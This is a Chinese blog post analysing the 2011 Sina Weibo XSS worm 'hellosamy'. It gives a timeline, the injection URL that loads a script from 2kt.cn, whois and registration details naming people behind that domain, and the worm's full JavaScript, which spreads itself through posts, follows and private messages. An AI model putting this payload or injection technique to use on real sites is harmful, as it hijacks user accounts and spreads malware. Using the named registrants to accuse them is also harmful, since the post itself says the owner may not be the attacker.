从网上整理的,最初发布在: http://user.qzone.qq.com/31731705/blog/1309316738
一、事件的经过
2011年6月28日晚,新浪微博突然出现大范围“中毒”,大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,2kt.cn中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕
影响有多大:32961(这位hellosamy在帐号被封前的好友数量)。
二、采用了什么样的攻击方法
1、利用了新浪微博存在的XSS漏洞;
2、使用有道提供的短域名服务(这些网址目前已经“无害”);
例如,通过http://163.fm/PxZHoxn,将链接指向:
http://weibo.com/pub/star/g/xyyyd%22%...
3、当新浪登陆用户不小心访问到相关网页时,由于处于登录状态,会运行这个js脚本做几件事情:
a.发微博(让更多的人看到这些消息,自然也就有更多人受害);
b.加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
c.发私信,给好友发私信传播这些链接;
4. 其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn 短链接服务,将链接指向:
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
注意,上面URL链接中的其实就是<script src=//www.2kt.cn/images/t.js></script>。
三、攻击者是谁?
攻击者不一定是2kt.cn的拥有者。目前暂时只能获得2kt.cn域名、网站拥有者信息如下。
不排除这个网站被攻击后,服务器被人放置恶意代码。
通过whois查询,2kt.cn的域名拥有者信息如下:
localhost% whois 2kt.cn Domain Name: 2kt.cn ROID: 20081025s10001s69222533-cn Domain Status: ok Registrant Organization: 北京新网数码信息技术有限公司 Registrant Name: 张志 Administrative Email: lin5061@gmail.com Sponsoring Registrar: 北京新网数码信息技术有限公司 Name Server:ns.xinnetdns.com Name Server:ns.xinnet.cn Registration Date: 2008-10-25 04:22 Expiration Date: 2011-10-25 04:22
通过工信部的备案查询:http://www.miibeian.gov.cn/publish/qu...
网站负责人姓名:刘孝德
网站备案/许可证号:苏ICP备10108026号-1
四、为什么叫hellosamy?
2005年,首个利用跨站点脚本缺陷的蠕虫samy被“创造”出来了。Samy利用网站设计方面的缺陷,创建了一份“恶意”的用户档案,当该用户档案被浏览时,就会自动地激活代码,将用户添加到Samy的“好友”列表中。另外,恶意代码还会被拷贝到用户的档案中,当其他人查看用户的档案时,蠕虫会继续传播。Samy蠕虫能够造成与拒绝服务相当的效应,会造成好友列表中好友数量呈指数级增长,最终会消耗系统的大量资源。
因此,这次新浪微博的蠕虫,象是在对samy蠕虫致敬
五、参考信息
samy蠕虫的传播经历与技术细节:http://namb.la/popular,http://namb.la/popular/tech.html
六、本次蠕虫事件中的代码下载
http://t.cn/aNhKgc?u=1319542477
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id[i].toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true);
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id[i]));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);